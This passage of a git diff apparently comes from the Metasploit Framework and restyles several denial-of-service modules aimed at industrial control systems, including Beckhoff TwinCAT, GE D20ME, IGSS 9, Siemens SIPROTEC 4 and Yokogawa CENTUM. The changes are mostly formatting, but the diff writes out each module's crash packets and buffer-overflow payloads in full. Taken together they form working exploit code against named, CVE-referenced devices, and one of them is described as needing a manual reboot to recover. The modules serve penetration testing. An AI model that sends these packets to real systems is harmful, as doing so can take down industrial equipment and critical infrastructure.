"\x2a\x58" + # Transaction code + "\xa2" + # Function code (Protected typed logical read with three address fields) + "\x00" + # Byte size + "\x05" + # File number + "\x47" + # File type + "\x00" + # Element number + "\x00" # Sub-element number end def enip_list_identify_pkt "\x63\x00" + # List Identity - "\x00\x00" + # Length - "\x00\x00\x00\x00" + # Session Handle - "\x00\x00\x00\x00" + # Status: Success - "\x00\x00" + # Max Response Delay - "\x00\x00\xc1\xde\xbe\xd1" + # Sender Context - "\x00\x00\x00\x00" # Options + "\x00\x00" + # Length + "\x00\x00\x00\x00" + # Session Handle + "\x00\x00\x00\x00" + # Status: Success + "\x00\x00" + # Max Response Delay + "\x00\x00\xc1\xde\xbe\xd1" + # Sender Context + "\x00\x00\x00\x00" # Options end - def check - connect_udp udp_sock.put(enip_list_identify_pkt) @@ -136,16 +140,15 @@ def check disconnect_udp - unless res && res[0].length > 63 && res[0][0,2] == "\x63\x00" - print_error "EtherNet/IP Packet Not Valid" + unless res && res[0].length > 63 && res[0][0, 2] == "\x63\x00" + print_error 'EtherNet/IP Packet Not Valid' return Exploit::CheckCode::Unsupported end - revision = res[0][54,2] - product_name_len = res[0][62].unpack("c*")[0] + res[0][54, 2] + product_name_len = res[0][62].unpack('c*')[0] - - product_name = res[0][63,product_name_len] + product_name = res[0][63, product_name_len] print_status "Product Name: #{product_name}" array = product_name.split(' ') @@ -163,10 +166,9 @@ def check else return Exploit::CheckCode::Safe end - rescue + rescue StandardError return Exploit::CheckCode::Unknown end - rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e elog(e) ensure @@ -175,11 +177,12 @@ def check def run connect + # Register Ethernet/IP session sock.put(enip_register_session_pkt) enip_register_session_ans = sock.get_once - unless enip_register_session_ans && enip_register_session_ans.length == 28 && enip_register_session_ans[0,2] == "\x65\x00" - print_error "Ethernet/IP - Failed to create session." + unless enip_register_session_ans && enip_register_session_ans.length == 28 && enip_register_session_ans[0, 2] == "\x65\x00" + print_error 'Ethernet/IP - Failed to create session.' disconnect return end @@ -189,8 +192,8 @@ def run # Ethernet/IP CCM Forward Open sock.put(enip_ccm_forward_open_pkt(enip_session_id)) enip_ccm_forward_open_ans = sock.get_once - unless enip_ccm_forward_open_ans && enip_ccm_forward_open_ans.length > 48 && enip_ccm_forward_open_ans[0,2] == "\x6f\x00" - print_error "CIP Connection Manager - Failed Forward Open request" + unless enip_ccm_forward_open_ans && enip_ccm_forward_open_ans.length > 48 && enip_ccm_forward_open_ans[0, 2] == "\x6f\x00" + print_error 'CIP Connection Manager - Failed Forward Open request' disconnect return end @@ -198,9 +201,8 @@ def run print_status "CIP Connection Manager - Forward Open Success (Connection id #{le_pp(cip_connection_id)})" # PCCC DoS packet - print_status "Sending PCCC DoS magic packet..." + print_status 'Sending PCCC DoS magic packet...' sock.put(pccc_dos_pkt(enip_session_id, cip_connection_id)) - rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e elog(e) ensure diff --git a/modules/auxiliary/dos/scada/beckhoff_twincat.rb b/modules/auxiliary/dos/scada/beckhoff_twincat.rb index dace8a694af25..d3e0e7e4ac245 100644 --- a/modules/auxiliary/dos/scada/beckhoff_twincat.rb +++ b/modules/auxiliary/dos/scada/beckhoff_twincat.rb @@ -8,34 +8,40 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Beckhoff TwinCAT SCADA PLC 2.11.0.2004 DoS', - 'Description' => %q{ - The Beckhoff TwinCAT version <= 2.11.0.2004 can be brought down by sending - a crafted UDP packet to port 48899 (TCATSysSrv.exe). - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Beckhoff TwinCAT SCADA PLC 2.11.0.2004 DoS', + 'Description' => %q{ + The Beckhoff TwinCAT version <= 2.11.0.2004 can be brought down by sending + a crafted UDP packet to port 48899 (TCATSysSrv.exe). + }, + 'Author' => [ 'Luigi Auriemma', # Public exploit - 'jfa', # Metasploit module + 'jfa', # Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2011-3486' ], [ 'OSVDB', '75495' ], [ 'URL', 'http://aluigi.altervista.org/adv/twincat_1-adv.txt' ] ], - 'DisclosureDate' => '2011-09-13' - )) + 'DisclosureDate' => '2011-09-13', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([Opt::RPORT(48899)]) end def run - dos = "\x03\x66\x14\x71" + "\x00"*16 + "\xff"*1514 + dos = "\x03\x66\x14\x71" + "\x00" * 16 + "\xff" * 1514 connect_udp - print_status("Sending DoS packet ...") + print_status('Sending DoS packet ...') udp_sock.put(dos) disconnect_udp end diff --git a/modules/auxiliary/dos/scada/d20_tftp_overflow.rb b/modules/auxiliary/dos/scada/d20_tftp_overflow.rb index ebc0c4ce081cb..647ea4629ae7a 100644 --- a/modules/auxiliary/dos/scada/d20_tftp_overflow.rb +++ b/modules/auxiliary/dos/scada/d20_tftp_overflow.rb @@ -12,53 +12,58 @@ # exploitable. ## - - class MetasploitModule < Msf::Auxiliary include Rex::Ui::Text include Rex::Proto::TFTP include Msf::Exploit::Remote::Udp def initialize(info = {}) - super(update_info(info, - 'Name' => 'General Electric D20ME TFTP Server Buffer Overflow DoS', - 'Description' => %q{ - By sending a malformed TFTP request to the GE D20ME, it is possible to crash the - device. + super( + update_info( + info, + 'Name' => 'General Electric D20ME TFTP Server Buffer Overflow DoS', + 'Description' => %q{ + By sending a malformed TFTP request to the GE D20ME, it is possible to crash the + device. - This module is based on the original 'd20ftpbo.rb' Basecamp module from - DigitalBond. + This module is based on the original 'd20ftpbo.rb' Basecamp module from + DigitalBond. }, - 'Author' => - [ + 'Author' => [ 'K. Reid Wightman ', # original module 'todb' # Metasploit fixups ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ] ], - 'DisclosureDate' => '2012-01-19' - )) + 'DisclosureDate' => '2012-01-19', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ - OptAddressLocal.new('LHOST', [false, "The local IP address to bind to"]), - OptInt.new('RECV_TIMEOUT', [false, "Time (in seconds) to wait between packets", 3]), + OptAddressLocal.new('LHOST', [false, 'The local IP address to bind to']), + OptInt.new('RECV_TIMEOUT', [false, 'Time (in seconds) to wait between packets', 3]), Opt::RPORT(69) - ]) + ] + ) end def run udp_sock = Rex::Socket::Udp.create( 'LocalHost' => datastore['LHOST'] || nil, - 'PeerHost' => rhost, + 'PeerHost' => rhost, 'PeerPort' => rport, - 'Context' => {'Msf' => framework, 'MsfExploit' => self} + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) # No need to rescue, it's a UDP faux-socket udp_sock.sendto(payload, rhost, rport) recv = udp_sock.timed_read(65535, recv_timeout) - if recv and recv.size > 0 + if recv && !recv.empty? udp_sock.sendto(payload, rhost, rport) else print_error "#{rhost}:#{rport} - TFTP - No response from the target, aborting." @@ -76,58 +81,58 @@ def recv_timeout end def payload - "\x00\x01NVRAM\\D20.zlb\x00netascii" + - "\x80\x80\x80\x80\x80\x80\x80\x81\x80\x80\x80\x82\x80\x80\x80\x83" + - "\x80\x80\x80\x84\x80\x80\x80\x85\x80\x80\x80\x86\x80\x80\x80\x87\x80\x80\x80\x88" + - "\x80\x80\x80\x89\x80\x80\x80\x8A\x80\x80\x80\x8B\x80\x80\x80\x8C\x80\x80\x80\x8D" + - "\x80\x80\x80\x8E\x80\x80\x80\x8F\x80\x80\x80\x90\x80\x80\x80\x91\x80\x80\x80\x92" + - "\x80\x80\x80\x93\x80\x80\x80\x94\x80\x80\x80\x95\x80\x80\x80\x96\x80\x80\x80\x97" + - "\x80\x80\x80\x98\x80\x80\x80\x99\x80\x80\x80\x9A\x80\x80\x80\x9B\x80\x80\x80\x9C" + - "\x80\x80\x80\x9D\x80\x80\x80\x9E\x80\x80\x80\x9F\x80\x80\x80\xA0\x80\x80\x80\xA1" + - "\x80\x80\x80\xA2\x80\x80\x80\xA3\x80\x80\x80\xA4\x80\x80\x80\xA5\x80\x80\x80\xA6" + - "\x80\x80\x80\xA7\x80\x80\x80\xA8\x80\x80\x80\x00\x80\x80\x80\xAA\x80\x80\x80\xAB" + - "\x80\x80\x80\xAC\x80\x80\x80\xAD\x80\x80\x80\xAE\x80\x80\x80\xAF\x80\x80\x80\xB0" + - "\x80\x80\x80\xB1\x80\x80\x80\xB2\x80\x80\x80\xB3\x80\x80\x80\xB4\x80\x80\x80\xB5" + - "\x80\x80\x80\xB6\x80\x80\x80\xB7\x80\x80\x80\xB8\x80\x80\x80\xB9\x80\x80\x80\xBA" + - "\x80\x80\x80\xBB\x80\x80\x80\xBC\x80\x80\x80\xBD\x80\x80\x80\xBE\x80\x80\x80\xBF" + - "\x80\x80\x80\xC0\x80\x80\x80\xC1\x80\x80\x80\xC2\x80\x80\x80\xC3\x80\x80\x80\xC4" + - "\x80\x80\x80\xC5\x80\x80\x80\xC6\x80\x80\x80\xC7\x80\x80\x80\xC8\x80\x80\x80\xC9" + - "\x80\x80\x80\xCA\x80\x80\x80\xCB\x80\x80\x80\xCC\x80\x80\x80\xCD\x80\x80\x80\xCE" + - "\x80\x80\x80\xCF\x80\x80\x80\xD0\x80\x80\x80\xD1\x80\x80\x80\xD2\x80\x80\x80\xD3" + - "\x80\x80\x80\xD4\x80\x80\x80\xD5\x80\x80\x80\xD6\x80\x80\x80\xD7\x80\x80\x80\xD8" + - "\x80\x80\x80\xD9\x80\x80\x80\xDA\x80\x80\x80\xDB\x80\x80\x80\xDC\x80\x80\x80\xDD" + - "\x80\x80\x80\xDE\x80\x80\x80\x00\x00\x00\x80\x00\x00\x01\x80\xE1\x80\x80\x80\xE2" + - "\x80\x80\x80\xE3\x80\x80\x80\xE4\x80\x80\x80\xE5\x80\x80\x80\xE6\x80\x80\x80\xE7" + - "\x80\x80\x80\xE8\x80\x80\x80\xE9\x80\x80\x80\xEA\x80\x80\x80\xEB\x80\x80\x80\xEC" + - "\x80\x80\x00\x80\x00\x00\x00\x7F\xFF\xBC\x80\xEF\x80\x80\x80\xF0\x80\x80\x80\xF1" + - "\x80\x80\x80\xF2\x80\x80\x80\xF3\x80\x80\x80\xF4\x80\x80\x80\xF5\x80\x80\x80\xF6" + - "\x80\x80\x80\xF7\x80\x80\x80\xF8\x80\x80\x80\xF9\x80\x80\x80\xFA\x80\x80\x80\xFB" + - "\x80\x80\x80\xFC\x80\x80\x80\xFD\x80\x80\x80\xFE\x80\x80\x81\x80\x80\x80\x81\x81" + - "\x80\x80\x81\x82\x80\x80\x81\x83\x80\x80\x81\x84\x80\x80\x81\x85\x80\x80\x81\x86" + - "\x80\x80\x81\x87\x80\x80\x81\x88\x80\x80\x81\x89\x80\x80\x81\x8A\x80\x80\x81\x8B" + - "\x80\x80\x81\x8C\x80\x80\x81\x8D\x80\x80\x81\x8E\x80\x80\x81\x8F\x80\x80\x81\x90" + - "\x80\x80\x81\x91\x80\x80\x81\x92\x80\x80\x81\x93\x80\x80\x81\x94\x80\x80\x81\x95" + - "\x80\x80\x81\x96\x80\x80\x81\x97\x80\x80\x81\x98\x80\x80\x81\x99\x80\x80\x81\x9A" + - "\x80\x80\x81\x9B\x80\x80\x81\x9C\x80\x80\x81\x9D\x80\x80\x81\x9E\x80\x80\x81\x9F" + - "\x80\x80\x81\xA0\x80\x80\x81\xA1\x80\x80\x81\xA2\x80\x80\x81\xA3\x80\x80\x81\xA4" + - "\x80\x80\x81\xA5\x80\x80\x81\xA6\x80\x80\x81\xA7\x80\x80\x81\xA8\x80\x80\x81\xA9" + - "\x80\x80\x81\xAA\x80\x80\x81\xAB\x80\x80\x81\xAC\x80\x80\x81\xAD\x80\x80\x81\xAE" + - "\x80\x80\x81\xAF\x80\x80\x81\xB0\x80\x80\x81\xB1\x80\x80\x81\xB2\x80\x80\x81\xB3" + - "\x80\x80\x81\xB4\x80\x80\x81\xB5\x80\x80\x81\xB6\x80\x80\x81\xB7\x80\x80\x81\xB8" + - "\x80\x80\x81\xB9\x80\x80\x81\xBA\x80\x80\x81\xBB\x80\x80\x81\xBC\x80\x80\x81\xBD" + - "\x80\x80\x81\xBE\x80\x80\x81\xBF\x80\x80\x81\xC0\x80\x80\x81\xC1\x80\x80\x81\xC2" + - "\x80\x80\x81\xC3\x80\x80\x81\xC4\x80\x80\x81\xC5\x80\x80\x81\xC6\x80\x80\x81\xC7" + - "\x80\x80\x81\xC8\x80\x80\x81\xC9\x80\x80\x81\xCA\x80\x80\x81\xCB\x80\x80\x81\xCC" + - "\x80\x80\x81\xCD\x80\x80\x81\xCE\x80\x80\x81\xCF\x80\x80\x81\xD0\x80\x80\x81\xD1" + - "\x80\x80\x81\xD2\x80\x80\x81\xD3\x80\x80\x81\xD4\x80\x80\x81\xD5\x80\x80\x81\xD6" + - "\x80\x80\x81\xD7\x80\x80\x81\xD8\x80\x80\x81\xD9\x80\x80\x81\xDA\x80\x80\x81\xDB" + - "\x80\x80\x81\xDC\x80\x80\x81\xDD\x80\x80\x81\xDE\x80\x80\x81\xDF\x80\x80\x81\xE0" + - "\x80\x80\x81\xE1\x80\x80\x81\xE2\x80\x80\x81\xE3\x80\x80\x81\xE4\x80\x80\x81\xE5" + - "\x80\x80\x81\xE6\x80\x80\x81\xE7\x80\x80\x81\xE8\x80\x80\x81\xE9\x80\x80\x81\xEA" + - "\x80\x80\x81\xEB\x80\x80\x81\xEC\x80\x80\x81\xED\x80\x80\x81\xEE\x80\x80\x81\xEF" + - "\x80\x80\x81\xF0\x80\x80\x81\xF1\x80\x80\x81\xF2\x80\x80\x81\xF3\x80\x80\x81\xF4" + - "\x80\x80\x81\xF5\x80\x80\x81\xF6\x80\x80\x81\xF7\x80\x80\x81\xF8\x80\x80\x81\xF9" + - "\x80\x80\x81\xFA\x80\x80\x81\xFB\x80\x80\x81\xFC\x80\x80\x81\xFD\x80\x80\x81\xFE" + + "\x00\x01NVRAM\\D20.zlb\x00netascii" \ + "\x80\x80\x80\x80\x80\x80\x80\x81\x80\x80\x80\x82\x80\x80\x80\x83" \ + "\x80\x80\x80\x84\x80\x80\x80\x85\x80\x80\x80\x86\x80\x80\x80\x87\x80\x80\x80\x88" \ + "\x80\x80\x80\x89\x80\x80\x80\x8A\x80\x80\x80\x8B\x80\x80\x80\x8C\x80\x80\x80\x8D" \ + "\x80\x80\x80\x8E\x80\x80\x80\x8F\x80\x80\x80\x90\x80\x80\x80\x91\x80\x80\x80\x92" \ + "\x80\x80\x80\x93\x80\x80\x80\x94\x80\x80\x80\x95\x80\x80\x80\x96\x80\x80\x80\x97" \ + "\x80\x80\x80\x98\x80\x80\x80\x99\x80\x80\x80\x9A\x80\x80\x80\x9B\x80\x80\x80\x9C" \ + "\x80\x80\x80\x9D\x80\x80\x80\x9E\x80\x80\x80\x9F\x80\x80\x80\xA0\x80\x80\x80\xA1" \ + "\x80\x80\x80\xA2\x80\x80\x80\xA3\x80\x80\x80\xA4\x80\x80\x80\xA5\x80\x80\x80\xA6" \ + "\x80\x80\x80\xA7\x80\x80\x80\xA8\x80\x80\x80\x00\x80\x80\x80\xAA\x80\x80\x80\xAB" \ + "\x80\x80\x80\xAC\x80\x80\x80\xAD\x80\x80\x80\xAE\x80\x80\x80\xAF\x80\x80\x80\xB0" \ + "\x80\x80\x80\xB1\x80\x80\x80\xB2\x80\x80\x80\xB3\x80\x80\x80\xB4\x80\x80\x80\xB5" \ + "\x80\x80\x80\xB6\x80\x80\x80\xB7\x80\x80\x80\xB8\x80\x80\x80\xB9\x80\x80\x80\xBA" \ + "\x80\x80\x80\xBB\x80\x80\x80\xBC\x80\x80\x80\xBD\x80\x80\x80\xBE\x80\x80\x80\xBF" \ + "\x80\x80\x80\xC0\x80\x80\x80\xC1\x80\x80\x80\xC2\x80\x80\x80\xC3\x80\x80\x80\xC4" \ + "\x80\x80\x80\xC5\x80\x80\x80\xC6\x80\x80\x80\xC7\x80\x80\x80\xC8\x80\x80\x80\xC9" \ + "\x80\x80\x80\xCA\x80\x80\x80\xCB\x80\x80\x80\xCC\x80\x80\x80\xCD\x80\x80\x80\xCE" \ + "\x80\x80\x80\xCF\x80\x80\x80\xD0\x80\x80\x80\xD1\x80\x80\x80\xD2\x80\x80\x80\xD3" \ + "\x80\x80\x80\xD4\x80\x80\x80\xD5\x80\x80\x80\xD6\x80\x80\x80\xD7\x80\x80\x80\xD8" \ + "\x80\x80\x80\xD9\x80\x80\x80\xDA\x80\x80\x80\xDB\x80\x80\x80\xDC\x80\x80\x80\xDD" \ + "\x80\x80\x80\xDE\x80\x80\x80\x00\x00\x00\x80\x00\x00\x01\x80\xE1\x80\x80\x80\xE2" \ + "\x80\x80\x80\xE3\x80\x80\x80\xE4\x80\x80\x80\xE5\x80\x80\x80\xE6\x80\x80\x80\xE7" \ + "\x80\x80\x80\xE8\x80\x80\x80\xE9\x80\x80\x80\xEA\x80\x80\x80\xEB\x80\x80\x80\xEC" \ + "\x80\x80\x00\x80\x00\x00\x00\x7F\xFF\xBC\x80\xEF\x80\x80\x80\xF0\x80\x80\x80\xF1" \ + "\x80\x80\x80\xF2\x80\x80\x80\xF3\x80\x80\x80\xF4\x80\x80\x80\xF5\x80\x80\x80\xF6" \ + "\x80\x80\x80\xF7\x80\x80\x80\xF8\x80\x80\x80\xF9\x80\x80\x80\xFA\x80\x80\x80\xFB" \ + "\x80\x80\x80\xFC\x80\x80\x80\xFD\x80\x80\x80\xFE\x80\x80\x81\x80\x80\x80\x81\x81" \ + "\x80\x80\x81\x82\x80\x80\x81\x83\x80\x80\x81\x84\x80\x80\x81\x85\x80\x80\x81\x86" \ + "\x80\x80\x81\x87\x80\x80\x81\x88\x80\x80\x81\x89\x80\x80\x81\x8A\x80\x80\x81\x8B" \ + "\x80\x80\x81\x8C\x80\x80\x81\x8D\x80\x80\x81\x8E\x80\x80\x81\x8F\x80\x80\x81\x90" \ + "\x80\x80\x81\x91\x80\x80\x81\x92\x80\x80\x81\x93\x80\x80\x81\x94\x80\x80\x81\x95" \ + "\x80\x80\x81\x96\x80\x80\x81\x97\x80\x80\x81\x98\x80\x80\x81\x99\x80\x80\x81\x9A" \ + "\x80\x80\x81\x9B\x80\x80\x81\x9C\x80\x80\x81\x9D\x80\x80\x81\x9E\x80\x80\x81\x9F" \ + "\x80\x80\x81\xA0\x80\x80\x81\xA1\x80\x80\x81\xA2\x80\x80\x81\xA3\x80\x80\x81\xA4" \ + "\x80\x80\x81\xA5\x80\x80\x81\xA6\x80\x80\x81\xA7\x80\x80\x81\xA8\x80\x80\x81\xA9" \ + "\x80\x80\x81\xAA\x80\x80\x81\xAB\x80\x80\x81\xAC\x80\x80\x81\xAD\x80\x80\x81\xAE" \ + "\x80\x80\x81\xAF\x80\x80\x81\xB0\x80\x80\x81\xB1\x80\x80\x81\xB2\x80\x80\x81\xB3" \ + "\x80\x80\x81\xB4\x80\x80\x81\xB5\x80\x80\x81\xB6\x80\x80\x81\xB7\x80\x80\x81\xB8" \ + "\x80\x80\x81\xB9\x80\x80\x81\xBA\x80\x80\x81\xBB\x80\x80\x81\xBC\x80\x80\x81\xBD" \ + "\x80\x80\x81\xBE\x80\x80\x81\xBF\x80\x80\x81\xC0\x80\x80\x81\xC1\x80\x80\x81\xC2" \ + "\x80\x80\x81\xC3\x80\x80\x81\xC4\x80\x80\x81\xC5\x80\x80\x81\xC6\x80\x80\x81\xC7" \ + "\x80\x80\x81\xC8\x80\x80\x81\xC9\x80\x80\x81\xCA\x80\x80\x81\xCB\x80\x80\x81\xCC" \ + "\x80\x80\x81\xCD\x80\x80\x81\xCE\x80\x80\x81\xCF\x80\x80\x81\xD0\x80\x80\x81\xD1" \ + "\x80\x80\x81\xD2\x80\x80\x81\xD3\x80\x80\x81\xD4\x80\x80\x81\xD5\x80\x80\x81\xD6" \ + "\x80\x80\x81\xD7\x80\x80\x81\xD8\x80\x80\x81\xD9\x80\x80\x81\xDA\x80\x80\x81\xDB" \ + "\x80\x80\x81\xDC\x80\x80\x81\xDD\x80\x80\x81\xDE\x80\x80\x81\xDF\x80\x80\x81\xE0" \ + "\x80\x80\x81\xE1\x80\x80\x81\xE2\x80\x80\x81\xE3\x80\x80\x81\xE4\x80\x80\x81\xE5" \ + "\x80\x80\x81\xE6\x80\x80\x81\xE7\x80\x80\x81\xE8\x80\x80\x81\xE9\x80\x80\x81\xEA" \ + "\x80\x80\x81\xEB\x80\x80\x81\xEC\x80\x80\x81\xED\x80\x80\x81\xEE\x80\x80\x81\xEF" \ + "\x80\x80\x81\xF0\x80\x80\x81\xF1\x80\x80\x81\xF2\x80\x80\x81\xF3\x80\x80\x81\xF4" \ + "\x80\x80\x81\xF5\x80\x80\x81\xF6\x80\x80\x81\xF7\x80\x80\x81\xF8\x80\x80\x81\xF9" \ + "\x80\x80\x81\xFA\x80\x80\x81\xFB\x80\x80\x81\xFC\x80\x80\x81\xFD\x80\x80\x81\xFE" \ "\x80\x80\x82\x80\x80\x80\x82\x81" end end diff --git a/modules/auxiliary/dos/scada/igss9_dataserver.rb b/modules/auxiliary/dos/scada/igss9_dataserver.rb index fa6556bb799b5..6e2c853732a65 100644 --- a/modules/auxiliary/dos/scada/igss9_dataserver.rb +++ b/modules/auxiliary/dos/scada/igss9_dataserver.rb @@ -8,39 +8,46 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => '7-Technologies IGSS 9 IGSSdataServer.exe DoS', - 'Description' => %q{ - The 7-Technologies SCADA IGSS Data Server (IGSSdataServer.exe) <= 9.0.0.10306 can be - brought down by sending a crafted TCP packet to port 12401. This should also work - for version <= 9.0.0.1120, but that version hasn't been tested. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => '7-Technologies IGSS 9 IGSSdataServer.exe DoS', + 'Description' => %q{ + The 7-Technologies SCADA IGSS Data Server (IGSSdataServer.exe) <= 9.0.0.10306 can be + brought down by sending a crafted TCP packet to port 12401. This should also work + for version <= 9.0.0.1120, but that version hasn't been tested. + }, + 'Author' => [ 'jfa', # Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2011-4050' ], [ 'OSVDB', '77976' ], [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-335-01' ] ], - 'DisclosureDate' => '2011-12-20' - )) + 'DisclosureDate' => '2011-12-20', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ Opt::RPORT(12401), - OptInt.new('COUNT', [ true, "DoS IGSSdataServer.exe this many times. 0 for infinite loop.", 1]), + OptInt.new('COUNT', [ true, 'DoS IGSSdataServer.exe this many times. 0 for infinite loop.', 1]), OptInt.new('SLEEP', [ true, 'Number of seconds to sleep between sending DoS packet.', 3]) - ]) + ] + ) end def run # - #dos = "\x00\x04\x01\x00\x34\x12\x0D\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00" - #dos << Rex::Text.rand_text_alpha(5014) + # dos = "\x00\x04\x01\x00\x34\x12\x0D\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00" + # dos << Rex::Text.rand_text_alpha(5014) # # I should have looked at the other MSF modules before I started doing it the hard way. # Lesson learn, thanks hal. Mostly borrowed from igss9_igssdataserver_rename @@ -62,15 +69,15 @@ def run # # However, even though it's open, it doesn't seem to handle any valid requests. # - while count >= 1 do + while count >= 1 ## Randomize the buffer size to make it a teeny tiny bit less obvious size = Random.new.rand(1024..5014) - dos = "\x00\x04" #Funky size causes overflow + dos = "\x00\x04" # Funky size causes overflow dos << "\x01\x00\x34\x12" - dos << "\x0D" #Opcode + dos << "\x0D" # Opcode dos << "\x00\x00\x00\x00\x00\x00\x00" - dos << "\x01" #Flag + dos << "\x01" # Flag dos << "\x00\x00\x00\x01\x00\x00\x00" dos << Rex::Text.rand_text_alpha(size) @@ -85,12 +92,11 @@ def run if infinite select(nil, nil, nil, snore) - times += 1 else select(nil, nil, nil, snore) if count > 1 count -= 1 - times += 1 end + times += 1 end end diff --git a/modules/auxiliary/dos/scada/siemens_siprotec4.rb b/modules/auxiliary/dos/scada/siemens_siprotec4.rb index cba3b347cd64d..c4a4cbcc20f0a 100644 --- a/modules/auxiliary/dos/scada/siemens_siprotec4.rb +++ b/modules/auxiliary/dos/scada/siemens_siprotec4.rb @@ -6,32 +6,38 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos - def initialize(info = {}) - super( - 'Name' => 'Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module - Denial of Service', - 'Description' => %q{ - This module sends a specially crafted packet to port 50000/UDP - causing a denial of service of the affected (Siemens SIPROTEC 4 and SIPROTEC Compact < V4.25) devices. - A manual reboot is required to return the device to service. - CVE-2015-5374 and a CVSS v2 base score of 7.8 have been assigned to this vulnerability. - }, - 'Author' => [ 'M. Can Kurnaz' ], - 'License' => MSF_LICENSE, - 'Version' => '$Revision: 1 $', - 'References' => - [ - [ 'CVE' '2015-5374' ], - [ 'EDB', '44103' ], - [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-15-202-01' ] - ]) - register_options([Opt::RPORT(50000),]) + + def initialize(_info = {}) + super( + 'Name' => 'Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module - Denial of Service', + 'Description' => %q{ + This module sends a specially crafted packet to port 50000/UDP + causing a denial of service of the affected (Siemens SIPROTEC 4 and SIPROTEC Compact < V4.25) devices. + A manual reboot is required to return the device to service. + CVE-2015-5374 and a CVSS v2 base score of 7.8 have been assigned to this vulnerability. + }, + 'Author' => [ 'M. Can Kurnaz' ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'CVE', '2015-5374' ], + [ 'EDB', '44103' ], + [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-15-202-01' ] + ], + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + + register_options([Opt::RPORT(50000),]) end + def run - connect_udp - pckt = "\x11\x49\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x9e" - print_status('Sending DoS packet...') - udp_sock.put(pckt) - disconnect_udp + connect_udp + pckt = "\x11\x49\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x9e" + print_status('Sending DoS packet...') + udp_sock.put(pckt) + disconnect_udp end end - diff --git a/modules/auxiliary/dos/scada/yokogawa_logsvr.rb b/modules/auxiliary/dos/scada/yokogawa_logsvr.rb index 4ba83160ea85d..ab68dfd898000 100644 --- a/modules/auxiliary/dos/scada/yokogawa_logsvr.rb +++ b/modules/auxiliary/dos/scada/yokogawa_logsvr.rb @@ -8,49 +8,56 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Yokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow', - 'Description' => %q{ - This module abuses a buffer overflow vulnerability to trigger a Denial of Service - of the BKCLogSvr component in the Yokogaca CENTUM CS 3000 product. The vulnerability - exists in the handling of malformed log packets, with an unexpected long level field. - The root cause of the vulnerability is a combination of usage of uninitialized memory - from the stack and a dangerous string copy. This module has been tested successfully - on Yokogawa CENTUM CS 3000 R3.08.50. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Yokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow', + 'Description' => %q{ + This module abuses a buffer overflow vulnerability to trigger a Denial of Service + of the BKCLogSvr component in the Yokogaca CENTUM CS 3000 product. The vulnerability + exists in the handling of malformed log packets, with an unexpected long level field. + The root cause of the vulnerability is a combination of usage of uninitialized memory + from the stack and a dangerous string copy. This module has been tested successfully + on Yokogawa CENTUM CS 3000 R3.08.50. + }, + 'Author' => [ 'juan vazquez', 'Redsadic ' ], - 'References' => - [ + 'References' => [ [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ], - [ 'URL', 'https://www.rapid7.com/blog/post/2014/03/10/yokogawa-centum-cs3000-vulnerabilities/' ], + [ 'URL', 'https://web.archive.org/web/20221209030848/https://www.rapid7.com/blog/post/2014/03/10/yokogawa-centum-cs3000-vulnerabilities/' ], [ 'CVE', '2014-0781'] ], - 'DisclosureDate' => '2014-03-10', - )) + 'DisclosureDate' => '2014-03-10', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ Opt::RPORT(52302), - OptInt.new('RLIMIT', [true, "Number of packets to send", 10]) - ]) + OptInt.new('RLIMIT', [true, 'Number of packets to send', 10]) + ] + ) end def run if datastore['RLIMIT'] < 2 - print_error("Two consecutive packets are needed to trigger the DoS condition. Please increment RLIMIT.") + print_error('Two consecutive packets are needed to trigger the DoS condition. Please increment RLIMIT.') return end # Crash due to read bad memory - test = [1024].pack("V") # packet length - test << "AAAA" # Unknown + test = [1024].pack('V') # packet length + test << 'AAAA' # Unknown test << 